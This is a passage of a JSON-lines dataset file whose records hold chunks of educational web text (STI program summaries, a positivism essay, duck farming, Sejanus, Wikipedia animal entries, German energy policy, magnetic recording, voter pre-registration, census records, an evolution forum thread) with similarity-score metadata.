"created_at": "2025-12-18T05:22:17.133373"} {"text": "child health services, and services specifically for young people and survivors of sexual violence. integration made sense because most hiv infections in haiti are transmitted sexually, mother - to - child transmission is common, and people living with hiv face stigma and discrimination in accessing health services. services evolved as needs were identified. although such integration requires great efforts to overcome the stigma associated with hiv, providing access to a range of health services greatly improves uptake of hiv counseling and testing. the randomized double - blinded and placebo - controlled trial enrolled kenyan female sex workers to test whether the use of antibiotic prophylaxis to treat common sexually transmitted infections ( stis ) would also reduce the rate of hiv acquisition. four hundred and sixty - six seronegative sex workers were enrolled in the study. all women were provided with risk - reduction counseling, condoms, treatment of symptomatic stis, and biannual screening and treatment for asymptomatic stis. oral azithromycin was given to half of the participants and the other half was given a placebo. there was no statistically significant difference between the treatment and placebo groups on hiv - 1 incidence. out of 35 seroconversion cases, 19 were in the treatment group and 16 were in the placebo group. there was a strong association between prior sti and incident hiv - 1 infection, and a significant positive effect of azithromycin on the reduction of incidence and prevalence of bacterial stis. a reduction in risky sexual behaviors in both groups was found. condom use with all clients increased from less to 20 percent to more than 50 percent within one month. the number of clients per week decreased from more than 16 to less than 6 within six months. there was a correlation between hiv - 1 infection and risky sexual behaviors within the year of seroconversion. the authors provide plausible reasons for the lack of effectiveness in reducing hiv - 1 acquisition with azithromycin treatment in this population. this study of kenya ' s syndromic management program for sexually transmitted infections ( stis ) used hiv sentinel surveillance data in patients with stis to identify changes in the proportion of patients with three syndromes associated with increased hiv acquisition : genital ulcer disease, urethral discharge, and vaginal discharge. incidence declined after the introduction of the program in 1995 and then increased again when free sti medication was no longer offered in 2001. as this was an ecological study, it was vulnerable to possible selection bias, and the authors recommend further studies such as", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.47700733609453916, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.134351"} {"text": ". incidence declined after the introduction of the program in 1995 and then increased again when free sti medication was no longer offered in 2001. as this was an ecological study, it was vulnerable to possible selection bias, and the authors recommend further studies such as randomized clinical trials to better understand the impact of complex interventions like sti syndromic management programs. this review of programs implementing syndromic management of sexually transmitted infections ( stis ) found that the processes for diagnosis and treatment of urethral discharge and genital ulcer disease in men were highly sensitive or had good cure rates, but those for women were less sensitive, particularly for those without symptoms. algorithms for vaginal discharge do not effectively detect gonorrhea or chlamydia in women. once the qualitative aspects of sti syndromic management are taken into account, the algorithms are likely to be even less sensitive than the literature suggests, and the authors urgently call for the development of affordable and effective rapid sti testing for use in resource - poor settings. the office of the global aids coordinator guidance is aimed at u. s. president ' s emergency plan for aids relief ( pepfar ) country teams to provide them with the latest scientific data on prevention programs to increase the impact of their country portfolios. prevention programs should be tailored to the epidemiological and social context of the country as well as optimizing on current programs implemented by other partners to help fill gaps. the guidance highlights the importance of knowing the country ' s epidemic, context, response, and costs, as well as ensuring that hiv prevention is part of the overall country continuum for the response. it also outlines current evidence and program activities that pepfar funds will support in relation to the diagnosis and treatment of sexually transmitted infections. national - and regional - level decision makers can use this programme guidance tool to set goals and priorities for interventions to address reproductive tract infections. the tool has 10 steps, 7 of which are for strategic situation analysis, followed by development of recommendations, implementation of new measures, and expansion of those found to be successful. it gives detailed guidance about what items should be covered at each stage. there is a section on how to conduct rapid assessment, including details on who should be interviewed and what interview tools can be used. there is also a suggested funding proposal outline for financing the first stage of the tool. this sexually transmitted infection ( sti ) management training program can be used for in - service training of health care workers in health centers, district hospitals, sti clinics, or", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.46531953072953, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.135487"} {"text": "also a suggested funding proposal outline for financing the first stage of the tool. this sexually transmitted infection ( sti ) management training program can be used for in - service training of health care workers in health centers, district hospitals, sti clinics, or other first - level health facilities. seven modules cover sti prevention and control, syndromic case management, history - taking and examination, diagnosis and treatment, patient counseling and education, partner management, and recording and development. there is a trainer ' s guide and a cd - rom that can be used for self - learning or in conjunction with conventional training. the program is also available in french and spanish. these guidelines present sexually transmitted infections grouped by presenting symptom, with a section each for infections characterized by vaginal discharge, urethritis and cervicitis, and genital ulcers. each section gives the range of recommended treatment regimens. the guidelines also cover partner management and special issues such as sexually transmitted infections during pregnancy ; infections in babies, children, and adolescents ; and, where applicable, treatment of drug - resistant disease strains. these guidelines are based on laboratory diagnosis rather than the syndromic management method that is used in resource - constrained settings. these guidelines are part of a set of training materials that also includes a training manual, wall chart, and arabic language promotional materials. the guidelines cover the syndromic management of sexually transmitted infections and have a diagnostic flow chart and treatment table for each common syndrome. they also highlight the importance of education and counseling as a component of both treatment and prevention of sexually transmitted infections. the training manual provides a sample workshop agenda and slides for each session. the wall chart, with a summary of symptom and treatment information, is ideal for use in clinics. this guide is a reference manual for use in reproductive health care settings such as family planning and maternal and child health care clinics. it focuses on women, as they are the typical users of such clinics and are less likely to use sexually transmitted infection ( sti ) clinics. there are sections giving basic information on stis and other reproductive tract infections ( rtis ), improving prevention and treatment services, and the clinical management of rtis. hiv is mentioned in the guide but is not covered extensively because it is not a disease of the reproductive tract. periodic presumptive treatment for sexually transmitted infections : experience from the field and recommendations for research world health organization. ( 2008 ). this report describes experiences from the field in periodic and one - time presumptive treatment for sexually", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.47356304538936916, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 11, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.136619"} {"text": "of the reproductive tract. periodic presumptive treatment for sexually transmitted infections : experience from the field and recommendations for research world health organization. ( 2008 ). this report describes experiences from the field in periodic and one - time presumptive treatment for sexually transmitted infections ( stis ) among sex workers and their clients. the report followed on from a technical consultation on global experiences of presumptive sti treatment programs among high - risk populations. the consultation identified the conditions needed for effective sti control using presumptive treatment and produced recommendations for research. both topics are covered in this report, as is the effect of presumptive treatment on specific stis. the report presents case studies and offers brief guidance on operating such programs. view report ( pdf, 1. 96 mb ) the global strategy for the prevention and control of sexually transmitted infections 2006 - 2015 : breaking the chain of transmission world health organization. ( 2007 ). this document makes the case for a global strategy to tackle sexually transmitted infections ( stis ), describing the public health burden and the opportunities for an accelerated response such as the emergence of new and cost - effective technologies. the strategy aims to provide a framework for this response and is targeted at managers of national hiv prevention and sti control programs as well as other health sector stakeholders including health care providers, health ministers, and donors. it details both the technical strategy for sti prevention and control and an advocacy strategy for mobilizing resources and political and social leadership. view report ( pdf, 3. 1 mb ) guidelines for the management of sexually transmitted infections world health organization. ( 2003 ). these guidelines lay out the standardized treatment recommendations for syndromes associated with sexually transmitted infections ( stis ) using at - a - glance flowcharts and tables. there are also treatment recommendations for each specific sti. the guidelines detail the main considerations in choosing a treatment, such as cost, efficacy, treatment compliance, and availability. there is a chapter covering practical considerations in case management of stis and another on treatment of stis in children and adolescents. view report ( pdf, 2. 75 mb )", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5039336257175405, "token_count": 424, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 12, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.137526"} {"text": "the mainstream media view of science seems to be : - - science is what scientists do. - what scientists do is science. doesn \u2019 t quite work does it? in too many cases, faith in science appears to be just that \u2013 faith. or maybe another case of credentialism? it may well be impossible to come up with a definition of science which always fits the real world, but credentialism has given us some dire science and shows every sign of delivering lots more. yet we still have useful principles available to stop the rot, such as positivism. i first came across positivism in my late teens, via a j ayer \u2019 s book language truth and logic. ayer \u2019 s uncompromising view on meaningful discourse seems extreme to me, but since then i \u2019 ve always been a positivist even though it appears to have drifted into a philosophical backwater. which is a pity, because positivism provides us with a good working yardstick of what is and isn \u2019 t science. falsifiability associated with popper has its advantages too, but in many cases we seem to end up with credentialism \u2013 verifying credentials rather than physical reality. it is insidious too, because my references to ayer and popper could be seen as credentialism. from wikipedia : - positivism is a philosophy of science based on the view that in the social as well as natural sciences, information derived from sensory experience, logical and mathematical treatments and reports of such data, are together the exclusive source of all authoritative knowledge. suppose we replace authoritative with scientific to avoid at least one minefield of fruitless wrangling. if so, then among other advantages, positivism accounts for the basic similarities between science and engineering. both are based on what works in a testable way in the real world. both accept the need for new ideas if physical reality blows away the old ones. the similarity is no coincidence. so why isn \u2019 t science as rigorously positivist as engineering? i think it is because science has expanded as both a business and as a tool of political advocacy. for an early example of science as a business we need look no further than sigmund freud and the so - called science of psychoanalysis leading to psychotherapy. whatever the merits or demerits of freudian psychoanalysis, it most certainly became a business which at best aligns itself only weakly with positivism. the id, ego and super - ego are not", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5756295587487644, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.141105"} {"text": "of psychoanalysis leading to psychotherapy. whatever the merits or demerits of freudian psychoanalysis, it most certainly became a business which at best aligns itself only weakly with positivism. the id, ego and super - ego are not concepts amenable to physical verification. whether or not psychoanalysis was a model for other areas of science to expand beyond positivism i don \u2019 t know, but it may well have provided a paradigm of what is possible. there are many complexities to what we call science, much of down to our excessive reliance on credentialism plus a lack of rigour when it comes to insisting on physical verification. wouldn \u2019 t it be splendid if science journalists had a bash at verification before publication? however, many scientific enterprises successfully mix positivist science with business science. in other cases, the business pushes the positivist principles to one side. it varies from field to field and even within disciplines. physics for example. multiverse theories and string theories do not sit well with positivism, although they are not businesses either. unless of course one is cynical enough to count them as entertainment. for science as a political advocacy tool we have climate change, passive smoking and drugs policies. in these cases, positivism would introduce much needed rigor into the political exigencies. the unsurprising result is that these fields tend to attract scientists who pay more attention to credentials than physical reality. so it \u2019 s a complex picture, but easy enough to see how the sidelining of physical principles such as positivism has led to problems with certain sciences. unfortunately many people do not understand the rigor of positivism, nor its powerful methodological advantage. too many scientists are not rigorous positivists. are they still scientists?", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.588854563126309, "token_count": 364, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.141797"} {"text": "what ducks endure when you think of a duck, most likely the image in your mind would be of one on water. children are told that ducks live near bodies of water because they spend a lot of time on it. according to zoologist juliet gellatley, ducks spend 80 % of their time on water since they play, swim and feed on it. so important is water for ducks that they can go blind if they are unable to rinse their eyes with it. god crated them to be on in spite of our knowledge about what ducks need and how they behave, most of the 18 million ducks raised for meat in the u. k. have no access to water for bathing and 90 % of them are intensively confined. a report by the animal protection organization viva! states that the industry keeps 10, 000 birds to a shed with a stock density of about eight birds per square meter ( 10. 8 square feet ). according to producers, who have no regard for the lives of these animals, say that such access to water would spread disease. to us, christians, to deprive an animal of an essential god - give need \u2013 in this case water - is to disobey god. although the u. k. \u2019 s department for environment, food and rural affairs ( defra ) and the council of europe recommend that ducks have enough water to cover their heads and splash their backs, viva! says this rarely occurs and cannot be enforced. the duck industry is said to be aware of the criticism and close to finalizing a code of practice. to read the full article please visit your question and comments are welcome", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4003404416482231, "token_count": 329, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.144344"} {"text": "the fall of sejanus in a. d. 31 aroused considerable controversy in the ancient sources and has also continued to do so in modern research. indeed, questions of sejanus \u2019 intentions and of the identification of his allies and enemies still remain of great interest. no small part of this speculation concerns antonia minor, who is considered by an increasing number of scholars to have provided tiberius with the critical information which led directly to the fall of sejanus. in one recent article on. the family connections of sejanus, it has been suggested that antonia minor, as a relative of sejanus and a figure of no little influence, could have played a significant role not only in his fall but also in his rise to power. the relationship between the two, the subject of much conjecture but little analysis, deserves to be considered in detail. the following discussion will consist of three parts : i. ) the alleged relationship between antonia and sejanus before 31, ii. ) the tradition that stresses antonia \u2019 s importance in the fall of sejanus, and iii. ) based on the conclusions of the first two sections, a reconstruction of the process by which antonia became associated with the events of 31. it will here be argued that antonia did not, in all probability, provide tiberius with the critical information about the intentions of sejanus. her importance in the tradition is an invention of the claudian and flavian periods. historia : zeitschrift fur alte geschichte, bd. 24, h. 1 ( 1975 )", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.396633069914899, "token_count": 310, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.147150"} {"text": "proterogyrinus - wiki from wikipedia, the free encyclopedia [ photo ] proterogyrinus - reconstruction autor - bogdanov email @ example. com fossil range : carboniferous proterogyrinus was an anthracosaur which lived in the carboniferous period. its name is greek for \" earlier tadpole \". during the late carboniferous period ( 323 - 290 million years ago ), the amphibians were an exciting and diverse group of animals that had come to dominate the waterlogged forest world. proterogyrinus was one of the largest amphibians, and was perfectly adapted for life in the swamps. it was a top predator that hunted both on land and in the water. its powerful jaws had sharp teeth could handle animals that were quite large, such as fish, reptiles, and other amphibians. most carboniferous amphibians were good swimmers and could move fast through the rivers, lakes, and bogs surrounding the lowland forests, but also could walk on land like some amphibians today. many species either stayed in the water at all times or could only wriggle through the mud on the banks ; few ( including proterogyrinus ) ventured further into the forest. in popular culture proterogyrinus also appeared in walking with monsters. it was shown acting like a crocodile ; basking on the shorelines and leaping out of the water similar to modern alligators to catch a meganeura. in the episode, it fought an arthropleura and won when the arthopleura came down from rearing and impaled itself on a bush stump. | the text in this page is based on the copyrighted wikipedia article shown in above url. it is used under the gnu free documentation license. you may redistribute it, verbatim or modified, providing that you comply with the terms of the gfdl. |", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.3949333304063033, "token_count": 392, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.150359"} {"text": "seychelles paradise - flycatcher ( terpsiphone corvina ) - wiki seychelles paradise flycatcher from wikipedia, the free encyclopedia the seychelles paradise - flycatcher ( terpsiphone corvina ) is a rare bird from the genus of paradise - flycatchers ( terpsiphone ) within the subfamily monarchinae. it is endemic to the seychelles. the length of the males is about 20 cm. in addition there are two long black central tail feathers which can reach a length of 30 cm. the females can reach a length between 16 and 18 cm ( including the tail ). the males are entirely glossy black with a deep blue sheen. the upperparts of the females including wings and tail are reddish brown. the underparts are pale cream white. facial skin, bill, and legs are blue. it lives in the veuve nature reserve on la digue, seychelles where it inhabits dense calophyllum forests. it preys on insects in flight or from a perch. it is also feed on larvaes and spiders. the oval bowl - shaped nest is build on branches and consists of twigs, palm fibre, and spider webs. | the text in this page is based on the copyrighted wikipedia article shown in above url. it is used under the gnu free documentation license. you may redistribute it, verbatim or modified, providing that you comply with the terms of the gfdl. |", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.38945703189014497, "token_count": 295, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.152314"} {"text": "has german chancellor angela merkel figured out something barack obama hasn \u2019 t? as recently as last june, her government had set a goal that by 2020, renewable energy ( vis., wind and solar ) would comprise 35 % of germany \u2019 s electricity production. in the first half of 2012 ( ending that june ), germany already was generating 25 % of its electricity from wind and solar, among other renewables. then some other things became apparent. germany \u2019 s renewable power act requires power companies to buy wind - and solar - originated electricity in significant quantities. their largest industrial electricity users consume 18 % of the electricity produced, however, they pay only 0. 3 % of the extra costs generated by those required buys \u2014 german taxpayers pay the difference. the power grid hasn \u2019 t kept up with the growth in alternative energy sources \u2014 like the offshore windparks in the baltic and north seas off the country \u2019 s north coast. many of those projects are at a standstill, with no way to deliver the power they generate to the mainland. that renewable energy act provides incentives to build wind turbines, but it doesn \u2019 t provide incentives to build the natural gas - fired power plants the country needs for when the sun isn \u2019 t shining and the wind isn \u2019 t blowing ( see the figure ). withal, german consumers are faced with skyrocketing electricity bills. now merkel is changing her mind. she ; her environment minister, peter altmaier ; and her economy minister, philipp rosler are meeting with industry and union representatives \u201c to discuss the rising costs for consumers. in the run up to that meeting, altmaier has indicated that he hopes to \u2026 put the brakes on the current rush toward renewables. \u201d in the us, we have these : green energy subsidies ( guaranteed loans, tax credits ) and a federal requirement that power companies buy power from renewable energy producers. off the new england coast, special interests found the views from their beach front manses would be offended by wind farms, and the potential farms themselves were declared a \u201c hazard \u201d to aircraft, so they are not even being built. in central california, environmentalists won \u2019 t allow some solar farms to be built and won \u2019 t allow the power cables that would deliver solar electricity to cities to be built. the epa still requires ethanol to be blended into our gasoline, even though not enough of that is being produced to meet epa requirements, much that is produced is exported, and the whole charade is driving up the cost of food. maybe we should, in", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4601284095190886, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.154993"} {"text": "perpendicular recording technology has recently been introduced in hard disk drives for computer and consumer electronics applications. although conceptualized in the late 1970s, making a product with perpendicular recording that has competing performance, reliability, and price advantage over the prevalent longitudinal recording technology has taken about three decades. one reason for the late entry of perpendicular recording is that the longitudinal recording technology was quite successful in overcoming many of its problems and in staying competitive. other reasons are the risks, problems, and investment needed in making a successful transition to perpendicular recording technology. iwasaki and co - workers came up with many inventions in the late 1970s, such as single - pole head, cocr alloy media with a perpendicular anisotropy, and recording media with soft magnetic underlayers [ s. iwasaki and k. takemura, ieee trans. magn. 11, 1173 ( 1975 ) ; s. iwasaki and y. nakamura, ibid. 14, 436 ( 1978 ) ; s. iwasaki, y. nakamura, and k. ouchi, ibid. 15, 1456 ( 1979 ) ]. nevertheless, the research on perpendicular recording media has been intense only in the past five years or so. the main reason for the current interest comes from the need to find an alternative technology to get away from the superparamagnetic limit faced by the longitudinal recording. out of the several recording media materials investigated in the past, oxide based cocrpt media have been considered a blessing. the media developed with cocrpt - oxide or cocrpt \u2013 sio2 have shown much smaller grain sizes, lower noise, and larger thermal stability than the perpendicular recording media of the past, which is one of the reasons for the success of perpendicular recording. moreover, oxide - based perpendicular media have also overtaken the current longitudinal recording media in terms of better recording performance. several issues that were faced with the soft underlayers have also been solved by the use of antiferromagnetically coupled soft underlayers and soft underlayers that are exchange coupled with an antiferromagnetic layer. significant improvements have also been made in the head design. all these factors now make perpendicular recording more competitive. it is expected that the current materials could theoretically support areal densities of up to 500 \u2013 600 gbits / in. 2. in this paper, the technologies associated with perpendicular recording media are reviewed. a brief background of magnetic recording and the challenges faced by longitudinal recording technology are presented first, followed by the discussions on perpendicular recording media", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5292717657156369, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.157899"} {"text": "by ashley holloway foxx published september 27th 2009 in the fayetteville observer \" can you hear me now? \" remember that commercial for a popular cell phone company? the network traversed the country to ensure that everyone who spoke could be heard. in our democracy, your voice is your vote, and beginning in january, a chorus of teenagers will be given a greater opportunity to find their civic voices in north carolina. how? for the first - time ever, 16 - and 17 - year - olds will be allowed to \" pre - register \" to vote. they will automatically become full registered voters when they turn 18. during these uncertain times, the most important way to ensure our country ' s continued success is through the education of our youth. for years, north carolina schools have taken the time to educate young people on the importance of civics. however, with most civics education occurring in the 10th grade, the process of voter registration and voting remains abstract and something for the distant future. voter pre - registration for 16 - and 17 - year - olds changes that. it provides a clear and practical way to draw the youth of our state directly into the voting process. studies show that the earlier citizens take part in the democratic process, the more likely they will become voters for life. under north carolina ' s new voter pre - registration and education law, local boards of education and boards of elections are encouraged to creatively work together to empower youth by pre - registering them and educating them on the voting process. in addition, the n. c. department of motor vehicles will be required to ask new drivers, ages 16 and 17, if they would like to pre - register to vote. this agency alone can add thousands of teens to the rolls of voters once they reach voting age. the information they provide also must be verified just as it is for all first - time voters. north carolina already does many things to encourage youth voting. for example, we are one of the few states that allow 17 - year - olds to vote in primary elections as long as they will be 18 by the date of the general election. also, college students are allowed to register and vote at their college addresses if they choose to do so. now, we are only the third state to allow voter pre - registration ( the others are hawaii and florida ). this speaks well of our state ' s desire to create a more vibrant and inclusive democracy. in cumberland county, turnout for municipal primary and general elections is dismal. low turnout trumpets the voices of a few over", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.43955421466965766, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.163711"} {"text": "others are hawaii and florida ). this speaks well of our state ' s desire to create a more vibrant and inclusive democracy. in cumberland county, turnout for municipal primary and general elections is dismal. low turnout trumpets the voices of a few over the masses. by encouraging 16 - and 17 - year - old citizens to pre - register, we engage them in the voting process early on. greater youth involvement will strengthen our democracy for decades to come. with young adults across the state getting more involved in the political process, we must re - evaluate another part of our system that unfairly hinders their success. the increasing cost of national, state and even local campaigns prohibits many people from running for elected office. we need a publicly funded \" voter - owned elections \" option for qualified candidates without access to wealth. most young adults couldn ' t even consider raising $ 70, 000 to run for mayor or $ 150, 000 for a state legislative race. we say that we want the young people of this country to be responsible and give back to our community. are we not being hypocritical by telling those same youths that they cannot run a viable campaign because they are too poor? voter - owned elections programs help young voters and other underrepresented segments of our society gain greater access to the political system. starting in january, at the young age of 16, citizens across the state can embark on a pathway that will empower them for a lifetime. let us encourage north carolina ' s teens to pre - register to vote, become involved in reform efforts and find their voices so that we can hear them loud and clear. ashley holloway foxx is a graduate of terry sanford high school and unc - chapel hill. she lives with her husband, brian, and her daughter, madison, and works as a field organizer in the fayetteville area for democracy north carolina ( democracy - nc. org ).", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.395194056802089, "token_count": 385, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.165758"} {"text": "a researcher recently requested to look at an obscure record series described simply as \u201c census records, 1880 \u201d ( series 5269 ). after retrieving the records, archives staff became curious and set about trying to figure out what the records really were. the records include five booklets that were clearly standard forms ( form 7 - 392 ) printed for the 1880 federal census and have notes indicating that they had been filed with the weber county clerk. they are titled \u201c list of persons \u201d and each booklet lists the names, color, sex, and age of all the inhabitants of a given census enumeration district in weber county, including ogden 2nd and 3rd ( municipal ) wards, huntsville, mound fort, lynne, marriott, riverdale, and uintah. archives staff searched available published sources for some reference to these forms, but couldn \u2019 t find any information. so what was their purpose, why were they filed with the county clerk, and why did only five booklets survive? archives staff next contacted the national archives to see what information they might have. initially national archives staff members were both puzzled and excited. they had never seen an example of this kind of record before, but soon they responded with an answer. apparently, for earlier censuses enumerators were required to submit a full second copy of their population schedules in order to receive payment for their work. by 1880 the process was simplified somewhat. according to the history and growth of the united states census ( washington : government printing office, 1900 ) : the enumerator was directed to forward the original schedules, duly certified, to the supervisor of his district, but before doing this, he was required, under the terms of section 6 of the act of april 20, 1880, to make and file in the office of the clerk of the county court or in the office of the court or board administering the affairs of the county to which his district belongs, a list of the names, with age, sex, and color, of all persons enumerated by him, which he shall certify to be true, and for which he shall be paid at the rate of 10 cents for each 100 names. these lists apparently served as a type of invoice for services and made it possible for the census enumerators to get paid for their work. because the records were probably not of much use to the county clerk once payment had been made, most of them would have been discarded. somehow these five booklets from weber county survived as rare evidence of how the census", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.44532101989949335, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.168798"} {"text": "[ edit2 - this post was previously unreadadble due to my idiocy. it should be better now. sorry ] well, the farther off our answer came to be, the lower grade we got. heh. i know what you mean. i had teachers who did that too. imho, this is dumb from a pedagogical perspective. far better make people figure out why their results were off. that ' s far more interesting. if natural speciation requires 1000 ' s of years, and we can ' t observe it, does that make it \" non - falsifiable \" as underthumb likes to say? ( just curious ) well, no. i ' d like to make a general point - direct observation is not necessarily required to prove or disprove a hypothesis. indirect evidence can be more than enough. for instance, see forensic science stuff. also, how about an experiment. let ' s say you have some sodium burn. it ' s in an opaque box, so you can ' t see it burning directly. there is a hole in the box, and to this hole is attached a prism, and to the prism is attached a camera. the camera takes a picture. all you have is the film, and you are asked to describe what happened in the box. now, the film is going to record the spectrum of the light emitted by the flame, so you can tell that it was sodium that was burning. also, depending on the camera, and the image analysis methods, and all, you may be able to see the actual flame. now you haven ' t actually seen the flame. all you ' ve seen are some spectral lines, and the pattern left on a silver (? ) coating by incident photons. but from this, you can nonetheless, with a high degree of certainity, say that what happened was that some sodium was burned in the box. by analogy, this is related to the question of evolution. the opaque box is like the past, in that it prevents direct observation of the events inside. the burning sodium is the process of evolution, or maybe speciation occurring. the film in the camera is like the fossil record and rocks and other such stuff. now, there are two more ways to interpret the image that the camera provides : you can claim that the image is a fake, or a coincidence. or you can claim that the whole thing was a setup, and someone rigged the thing to look like burning sodium. now, without some damn good", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.5789800077231808, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.173578"} {"text": "the image that the camera provides : you can claim that the image is a fake, or a coincidence. or you can claim that the whole thing was a setup, and someone rigged the thing to look like burning sodium. now, without some damn good evidence, it would seem that these two interpretations are very unlikely, and by occam ' s razor, you toss them out and go with the \" burning sodium \" explanation. i meant no disrespect. yes, that should have been ' imo '. guess what, i have never had one that didn ' t teach it as fact. i just want to make sure we are using the same definitions. in normal english usage, the words hypothesis, theory, and guess are all interchangeable. in science, the words mean very different things. a guess would be something really random - like my sneezing labrador guess. a hypothesis would be a guess that has strong factual basis, makes many testable predictions, and is pretty rigorous. a theory is a hypothesis that has withstood many attacks and makes an excellent fit with the data. it makes many predictions, and all that have been tested thus have proven to strengthen the theory. a theory also must withstand the test of time - the latest and the greatest does not often become a theory immedeatly. ( a law is a theory that has withstood the test of time, has proven very useful, and is generally rock solid. ) now, the scientific test to make something a theory is pretty close to the ' test ' used to make someting a ' fact ' in normal life. so, in the everyday sense of the word, evolution is a fact. in the scientific sense, it is still ' just ' a theory - it is not in its final form - it is still ' evolving ', if you will. but it is a very strong theory in a lot of ways - one of the strongest we have in any area of science. ( heh. modern evolutionary bio is maybe in the same ' phylum ' as darwin ' s original, but it ' s far from being the same ' species ' ). so, i think the definitions should be made very clear to science students. then you must specify which set you are using : the every - day, or the science set. dogmatic teachers suck. but realize, it is very difficult to be a good non - dogmatic now, in your case, a teacher with a deep knowledge of evol. bio would have", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.6083030179521947, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.174563"} {"text": ": the every - day, or the science set. dogmatic teachers suck. but realize, it is very difficult to be a good non - dogmatic now, in your case, a teacher with a deep knowledge of evol. bio would have been good. s / he would have been able to answer your questions competently without the fear of you taking her out of familiar territory. ( people hate being embrassed, so a teach that wasn ' t much good at evol. would be likely to be dogmatic about, to avoid hard questions ). as i said, i have been very lucky. i have a huge amount of admiration and respect for most of my teachers - and almost all of my science teachers. what is a ' species '? question is more difficult than it may appear. \" what is truth? \" edit : ack, ubb code booboos edit2 : leavitron, much thanks, and very sorry. i actually did read it over - thus catching the ubb error i made, but it is a testament to my decaying intelligence that i did not notice the multiple recopies that i did by accident. uff. i think it is fixed now. but if you see any huge logic errors, or gaps, let me know - maybe i fixed wrong. it looks right, but that ' s what i thought last time. i need sleep. or a lobotomy. [ this message has been edited by geon ( edited december 28, 1999 ). ]", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.6042122603342309, "token_count": 309, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.175122"} {"text": "new delhi : india has begun work to include 220 additional ayurveda, unani and siddha text in its traditional knowledge digital library ( tkdl ), which will help check rampant biopiracy of the country ' s ancient wisdom by developed countries. the digital library is a joint effort of csir and the ministry of ayush ( ayurvedic, unani, siddha and homeopathic ) against biopiracy or attempts by individuals or institutions in the developed countries to patent traditional knowledge passed down from generation to generation in india. \" the tkdl is being enhanced for 220 additional texts in ayurveda, unani and siddha. the current coverage is 148 texts, \" said vk gupta, director, tkdl, council for scientific and industrial research ( csir ). the government also wants to go beyond the known text to include it in the database information on traditional medicine that may be stored in other forms such as hand - written manuscripts on palm leaves, paper, cloth or inscribed on metal, a senior official has said. \" it is estimated there are about half - a - million such manuscripts in the country, which could be a source of new knowledge. issue is that of access, preservation of these manuscripts and identifying the knowledge elements which are not available in known texts, \" dr gupta said. \" the national manuscript mission did do a comprehensive exercise on inventorisation, but now we need to move forward, \" he added. india felt the need to work on a digital library of its ancient knowledge after the government had to fight long battles with the us patents and trademark office ( uspto ) and the european patent office ( epo ) to revoke patent on wound healing properties of turmeric and anti - fungal properties of neem in the late nineties.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4701120793153809, "token_count": 371, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.177036"} {"text": "cassini ' s close look at the moon last year prompts planetary scientsts to conclude phoebe was born in the kuiper belt. may 16, 2005 the sharply - defined crater just above the center of this cassini image shows layers of alternating bright and dark material. cassini was 8, 314 miles ( 